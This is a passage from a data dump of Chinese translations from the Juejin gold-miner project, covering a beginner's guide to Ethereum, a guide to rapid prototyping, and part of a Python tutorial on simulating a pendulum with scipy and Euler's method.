结论\n\n我希望你现在已经掌握了了解 Docker 所需要的知识，甚至有一天会在项目中使用它。\n\n像往常一样，无论我在文中有任何错误或者您有任何帮助的建议，请在评论下留言！：）\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-beginners-guide-to-ethereum.md",
    "content": "> * 原文地址：[A beginner’s guide to Ethereum](https://blog.coinbase.com/a-beginners-guide-to-ethereum-46dd486ceecf)\n> * 原文作者：[Linda Xie](https://blog.coinbase.com/@linda.xie?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginners-guide-to-ethereum.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginners-guide-to-ethereum.md)\n> * 译者：[Rickon](https://github.com/gs666)\n> * 校对者：[Qiuk17](https://github.com/Qiuk17), [ZyGan1999](https://github.com/ZyGan1999)\n\n# 以太坊入门指南\n\n## 什么是以太坊？\n\n按照[以太坊官网](https://www.ethereum.org/)的说法，“以太坊是一个运行智能合约的去中心化平台。”这是一个准确的总结，但是根据我的经验，当我首次向我的亲朋好友或者陌生人解释以太坊的时候把以太坊和比特币作比较会让人更容易理解，因为很多人之前至少听说过比特币。这份入门指南应该有助于刚接触以太坊的人们理解两者之间的高层差异。\n\n![](https://user-gold-cdn.xitu.io/2018/12/12/167a289c995aea29?w=800&h=478&f=png&s=128690)\n\n## 比较\n\n 简而言之，比特币可以被描述为数字货币。比特币已经存在 8 年了，它被人用来向另一个人转账。它通常被用作一种价值储存手段，同时也成为了公众理解去中心化数字货币概念的重要途径。\n\n以太坊与比特币的不同之处在于它允许智能合约，可以称之为高度可编程的数字货币。想象一下，只要满足一系列条件，货币就能从一个人自动发送给另一个人。举个例子，一个人想要从另一个人手里买房子。传统上，交易会涉及多个第三方机构，包括律师和托管代理，这会让过程变得不必要地缓慢且昂贵。有了以太坊，一段代码就可以在交易达成后自动将房屋所属权转给买家，而卖家会在交易完成后收到卖房资金，无需第三方代表他们运作。\n\n这种潜力是不可思议的！想想众多基于某种逻辑集合作为第三方组织连接你和其他人的应用（例如 Uber，Airbnb，eBay）。我们今天使用的许多集中式系统都可以在以太坊上用去中心化的方式构建。有了以太坊，您可以使这些交易变得无法信任，从而打开了去中心化应用的整个世界。[去中心化是重要的](https://medium.com/@VitalikButerin/the-meaning-of-decentralization-a0c92b76a274#.4hl67650f)因为它消除了单点故障或控制。这使得内部勾结和外部攻击变得不切实际。去中心化的平台去除了中间商，最终为用户降低了成本。有一些应用让我尤其为之振奋。\n\n## 身份识别\n\n一个人可以在许多网站上创建数字身份（例如 Facebook，Twitter，LinkedIn）。这样管理起来很麻烦，并且在一天结束时，你无法完全掌控你的信息，因为它仍然被一个中心实体拥有。使用以太坊，你可以拥有像 [uPort](https://www.uport.me/) 这样的去中心化身份管理系统，让你可以完全掌控数据。没有任何集中式服务器可以访问、编辑或关闭你的私人数据，或者使你的数据被黑客攻击。\n\n现在在美国，我们有信用机构（例如Experian，TransUnion，Equifax），银行等其他机构依赖它来获取你的信用评价。信用机构会使外国人和年轻人等特定群体处于不利地位。[Lending Club](https://www.lendingclub.com/)，一个 P2P 借贷平台，解决传统金融服务的问题完全依赖 FICO 分数提供额外的数据点，如住房所有权、收入和工作时间。像 uPort 这样的以太坊应用程序可以更进一步地允许你掌控自己的数据，身份和声誉。\n\n## 计算能力 / 存储空间\n\n考虑到一个普通人在电脑上可能拥有多余的计算能力和存储空间。如果它没有被使用，那么为什么不把它提供给其他人呢？这与在 Airbnb 出租一间空着的卧室的概念类似。使用去中心化应用的另一个好处是没有了容易受到审查的集中式服务器。\n\n有几个正在开发中的项目允许人们从别人那里获得多余的计算能力和存储空间。[Filecoin](http://filecoin.io/)允许人们出租他们的电脑存储空间给别人并获得报酬。类似的还有 [Golem](https://golem.network/)允许人们出租他们的计算能力。像这样的点子并不新鲜了。自从 2000 年起，[Folding@home](https://folding.stanford.edu/) 就已经允许志愿者为斯坦福大学的科学研究贡献多余的计算能力。现在，这个概念可以货币化并应用于其他行业，可能会降低成本。\n\n## 社交媒体\n\n[Akasha](http://akasha.world/) 是一个去中心化的社交媒体平台。没有集中式服务器，因此没有任何一方可以完全控制内容。这意味着该平台可以抵御审查。在以太坊上构建去中心化的社交媒体应用的另一个好处是，人们可以创建一个在财务上奖励高质量内容的系统。这就像 [Reddit](https://www.reddit.com/) 一样，但是你可以向帖子打赏少量的钱，而不是点赞。\n\n## 权利管理\n\n去中心化的应用程序可被用来为多个行业带来透明度。例如 [SingularDTV](https://singulardtv.com/) 提供娱乐圈权利管理平台，它允许向创作者、投资者、工作人员、演员和项目中涉及的其他人透明地分配资金。没有集中方可以阻止某个组获取他们的资金，因为这些条款是由代码强制执行的。每个人都会按照前面提到的条款获得报酬，并且不需要第三方介入。\n\n## 管理公司\n\n创建新公司的一个耗时且通常代价昂贵的问题是分配和管理股票。随着公司的发展和更多的融资，他们最终需要发行和转移股票。[Aragon](https://aragon.one/) 就是一个有前景项目的例子，它有一个易于使用的界面来管理公司的上限表和融资。\n\n## 融资\n\n最后，以太坊的一个主要使用案例是来自全球网络的投资者的去中心化融资。众筹降低了从事高风险项目的开发人员的准入门槛。自从以太坊于 2015 年 7 月推出以来，我们已经看到去中心化式应用通过众筹融资到前所未有的资金。以太坊本身是通过一个筹集了价值1800万美元比特币的众筹来创建的，一个名为 The DAO 的项目筹集了 1.6 亿美元。其他一些著名的众筹如下所示：\n\n![](https://user-gold-cdn.xitu.io/2018/12/12/167a077c6dde9978?w=800&h=429&f=png&s=28880)\n\n在众筹时筹集的金额（非隐含估值）\n\n想获取有关这些代币如何运行的更多信息，请参阅[ 如何使用代币在区块链上融资](https://blog.gdax.com/how-to-raise-money-on-a-blockchain-with-a-token-510562c9cdfa#.rw9pz8i7p)，[ 区块链代币证券法律框架](https://blog.coinbase.com/2016-12-07-blockchain-token-securities-law-a66ef03c383f#.lowvjw5i8)，和 [App Coins 和协议代币之间的区别](https://medium.com/@willwarren89/the-difference-between-app-coins-and-protocol-tokens-7281a428348c#.pzk5vjfxd)。\n\n## 资料\n\n这篇文章仅涉及到无数以太坊使用案例中的几个。这个领域正在不断地发展和创新。以下是一些链接，可以帮助你进一步了解以太坊并及时了解最新的消息。\n\n**了解以太坊**\n\n*   [以太坊是数字货币的最前沿](https://blog.coinbase.com/ethereum-is-the-forefront-of-digital-currency-5300298f6c75#.kz1pj8bfv)\n*   [App Coins 和去中心化商业模式的曙光](https://medium.com/the-coinbase-blog/app-coins-and-the-dawn-of-the-decentralized-business-model-8b8c951e734f#.hboxfmq6d)\n*   [以太坊白皮书](https://github.com/ethereum/wiki/wiki/White-Paper)\n*   [Bits on Block 的简单介绍](https://bitsonblocks.net/)\n*   [权益证明常见问题解答](https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQ)\n\n**跟上以太坊的步伐**\n\n*   [Ethereum Subreddit](https://www.reddit.com/r/ethereum/)\n*   [Week in Ethereum News](http://www.weekinethereum.com/)\n*   [The Control](https://thecontrol.co/)\n*   [Smith + Crown](https://www.smithandcrown.com/)\n*   [The Dapp Daily](https://dappdaily.com/)\n*   [Silicon Valley Ethereum Meetup](https://www.meetup.com/EthereumSiliconValley/)（查看你当地的聚会）\n\n感谢 [Will Warren](https://medium.com/@willwarren89)、[Fred Ehrsam](https://medium.com/@FEhrsam) 和很多 [Coinbase](https://www.coinbase.com/) 员工，尤其是 [Jordan Clifford](https://medium.com/@jcliff)、[Reuben Bramanathan](https://medium.com/@bramanathan)、[Ankur Nandwani](https://medium.com/u/62401673b186)、[Dan Romero](https://medium.com/@dwr) 和 [Jeremy Henrickson](https://medium.com/@jeremyhenrickson)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-beginners-guide-to-rapid-prototyping.md",
    "content": "> * 原文地址：[A Beginner’s Guide to Rapid Prototyping](https://medium.freecodecamp.org/a-beginners-guide-to-rapid-prototyping-71e8722c17df)\n> * 原文作者：[Anant Jain](https://medium.freecodecamp.org/@anant90?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginners-guide-to-rapid-prototyping.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginners-guide-to-rapid-prototyping.md)\n> * 译者：[Ryden Sun](https://juejin.im/user/585b9407da2f6000657a5c0c)\n> * 校对者：[Ivocin](https://github.com/Ivocin)\n\n# 快速原型设计的新手指南\n\n## 7分钟（甚至不到）内了解快速原型设计的一切\n\n![](https://cdn-images-1.medium.com/max/800/1*HX9NJx68T86OwbXaqVkvFQ.jpeg)\n\n照片由 [Denise Jans](https://unsplash.com/photos/ZEtE38ybfao?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 提供于 [Unsplash](https://unsplash.com/search/photos/sketch?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n\n从一个想法到完整的产品，过程是复杂的。每一个想打造自己产品的人都应该具备**原型设计**的能力，通过原型获得**反馈**，然后不断进行**迭代**。这也是 UX 设计师工作中的重要一环。\n\n原型设计有很多种形式，从纸上简单的草稿到看起来像最终产品的交互模拟，都属于原型范畴。这篇指南是写给那些想理解原型所有相关方面知识的初学者的。\n\n我们除了会讲到一些快速原型设计相关术语的含义之外，还会有以下这些方面：\n\n![](https://cdn-images-1.medium.com/max/800/1*EycA2hPdjY4EtPLiw6uwcg.jpeg)\n\n1. 什么是快速原型设计？\n2. 你需要为哪些部分设计原型？\n3. 快速原型设计的流程\n4. 原型需要包含哪些部分？\n5. 原型的保真度是什么意思？\n6. 应该如何为原型挑选合适的保真度？\n7. 如何选择原型设计工具？\n8. 原型设计最佳实践：做什么和不做什么\n\n### 什么是快速原型设计？\n\n**快速原型设计**是一个不断迭代的过程，将网页或者应用可视化，以此来获得用户，利益相关者，开发者和设计师的反馈和认可。\n\n当使用的好时，快速原型设计可以通过加强多方沟通，避免制作出一个用户不喜欢的产品，以此来提高设计的质量。\n\n![](https://cdn-images-1.medium.com/max/800/1*Rhy673frJz2NZdXxwk5DMg.png)\n\n### 你需要为哪些部分设计原型？\n\n原型设计并不是一个系统的完整功能性版本，它只是被用来帮助可视化最终产品的用户体验。就像谷歌 Ventures design（风险投资设计，一种用设计入股创业公司的方式）合伙人 Daniel Burka 说的：\n\n> 一个理想的原型应该是 “Goldilocks”（金发姑娘，用来形容完美平衡，刚刚好）般的质量。如果原型的质量太差，人们不会相信这个原型是一个真正的产品。如果质量太高，会导致你没日没夜的工作，并且你完不成。你需要一个 “Goldilocks” 的质量，不需要太高，也不要太差，刚刚好就行。\n\n你不仅可以为屏幕，移动应用或者网页进行原型设计，甚至说是任何东西都可以进行原型设计。原型设计可以极好的测试以下方面（提供了案例）：\n\n*   **新功能**：在 Instagram app 中进行 Instagram Stories 模块的原型设计（在正式发布之前）。\n*   **流程上的改动**：在 Medium 引入付费会员之后，对其新的发布流程进行原型设计\n*   **新兴技术**：为自动驾驶汽车的旅程进行原型设计！\n*   **新的交互界面**：为 Apple Watch 交互界面进行原型设计（当它首次发布时）\n\n![](https://cdn-images-1.medium.com/max/800/1*GY6wSGyvDaBsOcNVL79aOQ.png)\n\n所以，你现在知道快速原型设计是干什么的了。但是你怎么来做呢？我们后续会讲到。\n\n### 快速原型设计流程\n\n快速原型设计包含了一个 3 步走的流程，根据需求多次迭代：\n\n1.  **原型**：为你的解决方案或交互界面创建一个可视化的模型。\n2.  **评审**：跟用户分享原型，探索它是否满足用户需求和期望。\n3.  **改进**：根据用户反馈，找出需要改善或进一步明确的地方。\n\n![](https://cdn-images-1.medium.com/max/800/1*vg-vKo3Z7SHIR-tD2C9brw.png)\n\n原型，评审，改进，迭代。\n\n一个原型通常是从一个简单的模型开始，只涵盖关键点，随着用户反馈的数据收集，通过每一次迭代变得更加完善，复杂。\n\n### 你的原型需要包含哪些部分？\n\n集中精力在那些关键的功能，这些功能是用户最常使用的。快速原型设计的意义是，在不需要规划整个产品细节之前，展示一个功能是怎么工作的，亦或是它看起来是什么样的。谨记，我们的目标是 **“Goldilocks”** 般的质量！\n\n**一次性对整个 [用户流程](https://www.commonlounge.com/discussion/a916ed5af1354c8eb26ce23b3fcc9076) 进行原型设计**。比起一个界面一个界面的设计，原型设计应基于一个用户使用场景，这个场景包含所有你想进行原型设计的区域。通过这种方法，你会得到更精准的用户反馈，因为你的原型会切实的反应用户真实生活中的场景。比如，将“注册/登陆/重置密码”一套流程进行整体原型设计。\n\n除此之外，要记住，心中要有一个**迭代计划**。按经验来说，制作迭代计划时要从全局入手，然后超更细节的解决方案版本入力。随着你不断迭代，原型的**保真度**和所包含的内容，都会不断增长。\n\n但是稍等，什么是保真度？\n\n![](https://cdn-images-1.medium.com/max/800/1*u5tCByoIo7t-S4mVHoUW3w.png)\n\n### 什么是原型的保真度？\n\n保真度是指原型与最终产品或解决方案的相似度。你可以从不同等级的准确度中选择，根据目前流程的阶段和原型的目标来选择。\n\n#### 视觉（草图 vs. 设计稿）\n\n布局和设计是原型保真度中最显眼的部分。如果一个原型从开始就保持高视觉保真度的产出，用户会倾向集中于视觉，而不是功能细节，这会偏离早期阶段原型的主要目标。\n\n![](https://cdn-images-1.medium.com/max/800/1*xphKRum4oHgEDVFOgKKSkQ.png)\n\n静态原型有两种保真度 — 草图（低保真）和设计稿（高保真）\n\n#### 功能性（静态 vs. 可交互）\n\n原型是静态还是必须要看起来支持所有功能（可交互）？两个版本都有好处和坏处：静态原型可以更简单快捷的实现，然而可交互版本后续可被用来做可用性测试和用户培训。\n\n![](https://cdn-images-1.medium.com/max/800/1*31Dmfuel1WCPS4R9JIYLnw.gif)\n\n一个高保真的可交互的原型。（[来源](https://framer.com/getstarted/examples/)）\n\n#### 内容（固定文本 vs. 实际内容）\n\n原型的早期阶段，使用统一的固定文本内容可以有效的避免用户从提供功能性反馈中偏离，而不是对文本内容进行评论。\n\n然而，随着原型设计的流程递进，用实际内容来替代冗余的文本，这样用户可以感觉到整体设计的影响。\n\n使用实际的标签也是一个很好的机会来测试你“复制的内容”的工作效果。**复制**对于文本空间和屏幕中信息是一个美妙的术语，就像我们把“发布”按钮叫做“发布”，“发表”，“发送”，“完成”或者其他的叫法。\n\n#### 都存在哪些保真度？\n\n*   **低保真**：低保真度就像“笔和纸”，草图会生成静态的原型图，包含较低的视觉和内容保真度，以此来支持快捷的改动。这会强制用户**集中于功能**以及他们如何使用这个系统，而不是系统看起来怎么样。\n*   **中保真**：电脑端的工具比如 Visio 所产出的原型我们叫做中度保真原型，由**界面框架和工作流组成**。这个程度的保真是用来展示系统的表现行为，来判断用户的需求是否被满足，以及来评估用户体验。\n*   **高保真**：高保真原型有时候会**太真实**，以至于经常与实际产品搞混。它们的产出也更**耗费时间**。一些工具像 nVision, Sketch, Figma, Adobe XD, Framer 等允许非技术用户来创造高保真原型。虽然它们不能被转换成可用的代码，但是可以很顺手的被用来做可用性测试和用户培训。\n\n![](https://cdn-images-1.medium.com/max/800/1*NJ8zAAsl3WdZ3Nm1Tb9Jmg.jpeg)\n\n从低保真，到中保真再到高保真（[Source](http://murdochcarpenter.com/portfolio/wireframes/)）\n\n### 如何选择合适的原型保真度级别？\n\n大多数时间，设计方案的最佳探索方式是从粗略的草图开始，然后根据系统的复杂度和需求，迁移到更高的保真度。\n\n有些时候，你的选择可能是由客户需求或所关注的领域所指引。比如，如果你想评估一个界面改动所造成的视觉影像，相对于粗略的草图，你可能会选择一个视觉设计稿。或者如果你的解决方案时关注于消息的，你可能会决定使用真实的内容而不是统一的固定文本。\n\n### 如何选择原型设计工具？\n\n根据你的需求和方式有很多可用的原型设计工具。选择工具之前，你要问清楚这些问题：\n\n*   学习使用这个工具要耗费多长**时间**？\n*   工具**是否支持**产品原型的需求（网页，应用程序，手机 apps，新科技等等）？\n*   工具是否支持**分享**原型给其他人并且收集反馈？\n*   对原型进行改动是否**方便**？\n*   工具是否支持预定义的**模板**？\n\n![](https://cdn-images-1.medium.com/max/800/1*qFU_eCjrbaQNvQnac0odqg.png)\n\n纸笔、Sketch、Figma、Framer、Photoshop、Illustrator、XD 和 Origami 等等\n\n### 原型设计最佳实践：做什么和不做什么\n\n#### 做什么：\n\n*   和用户与利益相关者交流工作，获得最多的**反馈**，并且培养他们对于最终产品的主人翁意识。\n*   尽早**设立期望目标**，以确保用户和利益相关者知道原型设计是一种寻找问题解决方案的方式，而且并不代表最终的产品。\n*   让高保真尽量**真实**（包含相应延迟），这样用户和利益相关者将原型和最终产品比较时不会失望。\n*  **保存好模板**，可以在以后的项目中复用。\n\n![](https://cdn-images-1.medium.com/max/800/1*JREHbIuPyyni2AHqk0O6tg.png)\n\n#### 不做什么：\n\n*   不要给那些不会出现在最终产品的功能做原型设计。\n*   不要做完美主义者，足够好就可以了。快速原型设计的目的是给每个人达成一致。\n*   不要任何事情都做原型设计！\n\n如果你好奇应该如何测试你的原型，可以阅读我的另一篇**可用性测试**的文章：\n\n[**极致 UX 体验背后的秘密：可用性测试**：无论是一个原型还是一个完全成熟的产品，进行几个月的长时间可用性测试都是很好的选择](https://medium.freecodecamp.org/the-well-kept-secret-behind-great-ux-usability-testing-b788178a64c3 \"https://medium.freecodecamp.org/the-well-kept-secret-behind-great-ux-usability-testing-b788178a64c3\")\n\n![](https://cdn-images-1.medium.com/max/800/1*UrU4lEMyukeMZnKO5LbMQw.png)\n\n感谢阅读这篇指南。这篇文章最初是作为 [Commonlounge](https://www.commonlounge.com/) 上的 [UX 设计课程](https://www.commonlounge.com/discussion/d8c1c96e92024adf9f496fe41dcaad1a)其中一部分发布的，这个平台有很多小型课程，话题从 [Django](https://www.commonlounge.com/discussion/8053bde657804a6b9135c0d781c9d2c7) 涵盖到 [Machine Learning](https://www.commonlounge.com/discussion/35ccdb70826e434a876d612504297232)，可以让付出的时间得到最大的回报。\n\n通过在真实世界的项目上工作进行学习，并且从产业导师身上获得反馈，尽在 [commonlounge](https://www.commonlounge.com/)！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-beginners-guide-to-simulating-dynamical-systems-with-python.md",
    "content": "> * 原文地址：[A Beginner’s Guide to Simulating Dynamical Systems with Python](https://towardsdatascience.com/a-beginners-guide-to-simulating-dynamical-systems-with-python-a29bc27ad9b1)\n> * 原文作者：[Christian Hubbs](https://medium.com/@christiandhubbs)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginners-guide-to-simulating-dynamical-systems-with-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-beginners-guide-to-simulating-dynamical-systems-with-python.md)\n> * 译者：[JohnieXu](https://github.com/JohnieXu)、[WangNing](https://github.com/w1187501630)\n> * 校对者：[PorridgeZero](https://github.com/chzh9311)、[DylanXie123](https://github.com/DylanXie123)\n\n# 使用 Python 模拟动力系统的初学者指南\n\n> 使用 Python 对二阶常微分方程进行数值积分运算\n\n![图由 [Dan Meyers](https://unsplash.com/@dmey503?utm_source=medium&utm_medium=referral) 发布于 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/12000/0*GZYR2gufn9IzhkSu)\n\n考察这样一个单摆模型。\n\n![](https://cdn-images-1.medium.com/max/2048/0*7CYBv0aAMnMcHQr9.png)\n\n一根长度为 L 的绳子下方悬挂一个质量为 m 的重物，绳子来回往复摆动。\n\n这基本上是我们能够上手实践的最简单的系统，但是也不能被其表象上的简单所蒙蔽，因为它可以创建一个有趣的动力系统。我们将以此为起点来介绍一些基本的控制理论并将其和连续控制强化学习做对比。在此之前，我们有必要先花点时间了解下单摆的运动模型以及如何对其进行运动仿真。\n\n## 摘要总结\n\n我们推导出了单摆系统的动力学模型，并且分别使用 Python 的集成包和欧拉法创建了两个仿真模型。机器控制系统中的许多关节和系统都可以采用单摆进行建模，因此这里的仿真模型可以作为分析复杂系统的基础。\n\n原文对文章的公式显示更友好，你可以[点击这里](https://www.datahubbs.com/simulating-dynamical-systems-with-python/)阅读。\n\n## 摆动力学\n\n若要对单摆系统进行仿真，则首先需要理解摆动力学。首先，我们画出单摆系统的受力分析图。其中摆绳的长度、小球的质量、重力及其他作用在这个系统上的力如下图所示。\n\n![Free-body diagram of the simple pendulum.](https://cdn-images-1.medium.com/max/2000/0*8vEjw63JJBOSvML0)\n\n绘制受力分析图有助于明确所有作用力，确保我们不会有所遗漏。接下来就可以使用牛顿第二运动定律来分析其动力学。牛顿第二运动定律的形式为 `F = ma`，我们使用其变体——[转动定律](https://brilliant.org/wiki/rotational-form-of-newtons-second-law/)表达如下：\n\n![](https://cdn-images-1.medium.com/max/2000/1*3xMMMwDVq4IbHx-ku6Z-0g.png)\n\n在这种情况下，τ 是关于原点的扭矩，I 是旋转惯性，α 是角加速度。扭矩由施加在重物上的力的垂直分量 (关于原点的力矩) 给出，旋转惯性即为 `I = mL²`，角加速度是 θ 的二阶导数。我们可以将这些值代入到上面的牛顿第二定律，可以得到：\n\n![](https://cdn-images-1.medium.com/max/2000/1*ZY8xoZWK0WQw6Kr78RlTvQ.png)\n\n为了完整性，我们还可以考虑单摆上的摩擦，这样就得到：\n\n![](https://cdn-images-1.medium.com/max/2000/1*GfLPH68C4RaMzFkjE_y51Q.png)\n\n首先要注意的是，由于方程中存在二阶导数 (θ)，所以这是一个二阶常微分方程（ODE）。我们希望能将其简化为一阶系统以便对其进行积分和模拟。但这是以复杂度为代价的，因为我们要把单个二阶系统分解成两个一阶方程。在我们现在分析的这种情况下，复杂度的成本并不大，但是对于更复杂的模型，这样处理可能会适得其反。\n\n为此，我们需要引入两个新变量，分别命名为 θ_1 和 θ_2，并将它们定义为：\n\n![](https://cdn-images-1.medium.com/max/2000/1*mnqoP1R59QrU_emUHwK4aw.png)\n\n我们定义 `θ˙_2=θ¨` 来简化上述等式\n\n于是可以得出：\n\n![](https://cdn-images-1.medium.com/max/2000/1*_lCFpvFSWmxw1zShrZ4eaQ.png)\n\n上面的方程式已经准备好了，下面将通过编码来对其进行建模。\n\n## 模拟单摆动力学\n\n首先导入相关库。\n\n```python\nimport numpy as np\nfrom scipy import integrate\nimport matplotlib.pyplot as plt\n```\n\n需要先定义一些常量，让质量和长度分别为 1kg 和 1m，至少现在，我们会暂且忽略摩擦，假设 b=0 。我们将模拟单摆从 π/2 (向右升高90度) 的位置开始摆动，并在没有初始速度的情况下释放。我们可以用 0.02s 作为间隔（Δt）来离散化 10s 的时间段。\n\n```python\n# 定义常量\nm = 1 # 质量 (kg)\nL = 1 # 长度 (m)\nb = 0 # 摩擦因素 (kg/m^2-s)\ng = 9.81 # 重力加速度 (m/s^2)\ndelta_t = 0.02 # 时间间隔 (s)\nt_max = 10 # 最大模拟时长 (s)\ntheta1_0 = np.pi/2 # 初始角度 (rad)\ntheta2_0 = 0 #  初始角加速度 (rad/s)\ntheta_init = (theta1_0, theta2_0)\n# 时间序列\nt = np.linspace(0, t_max, t_max/delta_t)\n```\n\n我们将演示两种模拟方法，首先使用 `scipy` 库进行数值积分，然后再使用欧拉方法。\n\n## Scipy 数值积分\n\n使用 `scipy` 进行数值积分方法，我们需要为模型构建一个积分函数，称为 `int_pendulum_sim`。该模型将采用 θ_1 和 θ_2 的初始值 (代码中记为 `theta_init`) 对时间间隔（Δt）进行积分，然后返回对应的 theta 值。这个函数正好就是我们上面推导出的 θ˙_1 和 θ˙_2 的两个方程。\n\n```python\ndef int_pendulum_sim(theta_init, t, L=1, m=1, b=0, g=9.81):\n    theta_dot_1 = theta_init[1]\n    theta_dot_2 = -b/m*theta_init[1] - g/L*np.sin(theta_init[0])\n    return theta_dot_1, theta_dot_2\n```\n\n我们可以通过上述将函数作为参数传递给 `scipy.integrate.odeint` 来对我们的系统进行模拟。并且，还需要给出初始值和模拟时长。\n\n```python\ntheta_vals_int = integrate.odeint(int_pendulum_sim, theta_init, t)\n```\n\n函数 `odeint` 将传入的参数与 θ˙ 进行积分运算，计算结果又作为初始值传入该函数自身以进行下一个时间间隔（Δt）的迭代运算，如此迭代直至所有时间间隔集合被遍历完成。\n\nθ 和 θ˙ 随时间变化可以绘制成如下图。\n\n![](https://cdn-images-1.medium.com/max/2000/0*eYACTeCtD68Nw88v)\n\n我们的模型中是没有考虑摩擦力或其他力的，所以单摆只会在 -π/2 和 π/2 之间往复地来回摆动。如果增加初始速度，比如：10 rad/s，会看到单摆的运动位置会随着往复来回摆动不断增加。\n\n## 半隐式欧拉法\n\n通过数值积分来分析这类模型比较简单，但是积分计算的成本相对较大，尤其是处理较大的模型。如果我们想看到模型的长期动态图，我们可以使用[欧拉法](https://en.wikipedia.org/wiki/Semi-implicit_Euler_method)代替数值积分法来进行模拟。欧拉法也是在 OpenAI 中解决像 [Card-Pole](https://gym.openai.com/envs/CartPole-v1/) 这类控制问题的方法，它能解决强化学习（RL）中的控制问题。\n\n首先需要得到上述常微分方程的[泰勒级数展开式](https://en.wikipedia.org/wiki/Taylor_series)。这种计算方法是一种近似法，因此展开式项越多得出的结果也越准确。考虑到当我们当前的场景，只需要扩展到一阶导数并截去高阶项。\n\n首先，需要注意的是我们需要一个关于 θ(t) 的函数。如果我们将 θ(t) 和 t-t_0 代入到泰勒级数展开式（TSE）中，将得到：\n\n![](https://cdn-images-1.medium.com/max/2000/1*Vq7-kN8luxga9VlEK1tJGg.png)\n\n其中 O(t²) 表示我们的高阶项，可以在不失去太多准确度的情况下将其删除。请注意，这仅遵循泰勒展开式（TSE）通用公式。有了这个方程，我们可以参考上面的常微分方程代换式，即：\n\n![](https://cdn-images-1.medium.com/max/2000/1*Nlr4LpUi78LWH3Cw1nBHTA.png)\n\n借此，可以将泰勒展开式与常微分方程关联起来：\n\n![](https://cdn-images-1.medium.com/max/2000/1*BwSlCyQugIxY_XuSpdFA2A.png)\n\n这样我们就得到了一种更方便的方法，可以在每个时间间隔中更新模型以获取 θ_1(t) 的最新值。重复 θ˙(t) 的展开和替换，可以得到以下结果：\n\n![](https://cdn-images-1.medium.com/max/2000/1*JT45PanYmNHq0-o6brpZnQ.png)\n\n在模拟中遍历的过程中，我们将更新 t_0 作为上一个时间步，并逐步向前移动模型。另外，请注意，这是**半隐式欧拉方法** ,这意味着在我们的第二个方程中，我们使用的是最新的 θ_1(t) 而非 θ_1(t_0) 带入到泰勒展开式（TSE）中。我们做出这种微妙的替代是因为，如果没有它，我们的模型将会发散。本质上，我们使用泰勒展开式（TSE）进行的近似计算有一些误差（还记得，前面提到丢弃了那些高阶项）。在这个应用中，这些错误将新能量引入到了的单摆上 —— 这显然违反了热力学第一定律。进行这种替换可以解决所有这些问题。\n\n```python\ndef 